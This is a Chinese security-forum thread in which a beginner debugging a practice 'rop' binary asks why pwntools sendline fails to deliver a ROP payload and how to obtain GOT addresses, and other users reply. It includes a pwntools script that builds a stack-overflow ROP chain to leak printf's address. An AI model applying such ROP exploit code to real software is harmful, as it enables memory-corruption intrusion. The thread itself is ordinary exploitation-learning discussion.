首页
社区
课程
招聘
关于pwn初学遇到的几个点
2019-4-11 16:53 7913

关于pwn初学遇到的几个点

2019-4-11 16:53
7913

一、先上图



学习参考看雪一篇文章:https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw%3D%3D&chksm=b181bd3c86f6342a3c60b49a4d82357b3bcd8328bb3791e2f729a3e33dbec98af0bb906f09e7&idx=1&mid=2458291638&scene=21&sn=72f56ce2dadb3b91ffd711ed03fa3a01

    问题一:大佬们都用过,琐碎得不做咯嗦。调用sendline(rop)的时候出现了问题,(pdb):n  本该可以发送 payload到IDA调试_gets接收,可是_gets一直没有反应,必须把输出的字符串手动拷贝到linxu_server64中回车,_gets才有了反应,如下所示:

    
    payload就可以发送成功......,环境的话是windows10(x64)调试Centos7(x64)下的rop,不知道为什么调用sendline发送payload传输到rop会失败呢?gets接收不到呢?rexp.py源码如下,按照文章中的编写的:

#!/usr/bin/env python

from pwn import *
import pdb

context.log_level = 'debug'
target = process('./rop')
elf = ELF('./rop')
# print(hex(print_got_addr))

rop='a' * 72
rop+=p64(0x40075a)
rop+=p64(0x0)
rop+=p64(0x1)
rop+=p64(0x600111)
rop+=p64(0x400784)
rop+=p64(0x400740)
rop+=p64(0x0)*7
rop+=p64(0x400656)

pdb.set_trace()

target.sendline(rop)

target.recvuntil(':')

target.recvuntil(':')

addr=target.recvline()[:-1]

addr=u64(addr+'\x00'(8-len(addr)))

print 'printfs addr is:'

target.interactive()

    问题二:既然发帖了......,代码中注释了一行,# print(hex(print_got_addr)) ,因为报错,我简单了解了一下got表原理,是不是如果还没有调用print函数,got表中就不会有地址,也就是说print_got_addr会报错未定义,不知道这个如何获取呢?如下图所示:


感谢!

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞1
打赏
分享
最新回复 (8)
雪    币: 1258
活跃值: (46)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Hvnter 2019-4-11 18:38
2
0
是不是没有加\n
雪    币: 5357
活跃值: (11775)
能力值: ( LV12,RANK:312 )
在线值:
发帖
回帖
粉丝
一半人生 5 2019-4-11 19:22
3
0
Hvnter 是不是没有加\n
\n是指那一块加上\n? sendline默认是+\n的
最后于 2019-4-11 19:54 被一半人生编辑 ,原因:
雪    币: 1000
活跃值: (57)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
zhakul 2019-4-11 19:26
4
0
问题一:(猜测不太确定)你在是在调试 你执行到函数gets时,距离之前send的那个rop字符串应该已经过去一段时间,所以函数可能接受不到,你可以在脚本里pause一下,等你调到gets函数再send
雪    币: 1000
活跃值: (57)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
zhakul 2019-4-11 19:29
5
0
问题二:那个报错单纯是你脚本里没有print_got_addr这个变量,他怎么给你输出
雪    币: 5357
活跃值: (11775)
能力值: ( LV12,RANK:312 )
在线值:
发帖
回帖
粉丝
一半人生 5 2019-4-11 19:34
6
0
zhakul 问题二:那个报错单纯是你脚本里没有print_got_addr这个变量,他怎么给你输出
我是手动执行到_gets,然后F9.,然后在执行send发送,_gets等待接收
问题二已解决 , 找到了获取方式... elf.got['xxx']
最后于 2019-4-11 19:47 被一半人生编辑 ,原因:
雪    币: 1000
活跃值: (57)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
zhakul 2019-4-11 19:58
7
0
got表中的地址?只能靠你自己泄露吧
最后于 2019-4-11 20:25 被zhakul编辑 ,原因:
雪    币: 5357
活跃值: (11775)
能力值: ( LV12,RANK:312 )
在线值:
发帖
回帖
粉丝
一半人生 5 2019-4-11 20:20
8
0
zhakul got表中的地址? 只能靠你自己想办法泄露吧。。。。
应该是 研究不太深 还在学习中  只不过sendline(payload)这个问题没有找了相关资料参考,找不到问题所在...... 配置环境好像也没问题 
雪    币: 5357
活跃值: (11775)
能力值: ( LV12,RANK:312 )
在线值:
发帖
回帖
粉丝
一半人生 5 2019-4-12 14:55
9
0

    .

最后于 2020-6-15 18:29 被一半人生编辑 ,原因:
游客
登录 | 注册 方可回帖
返回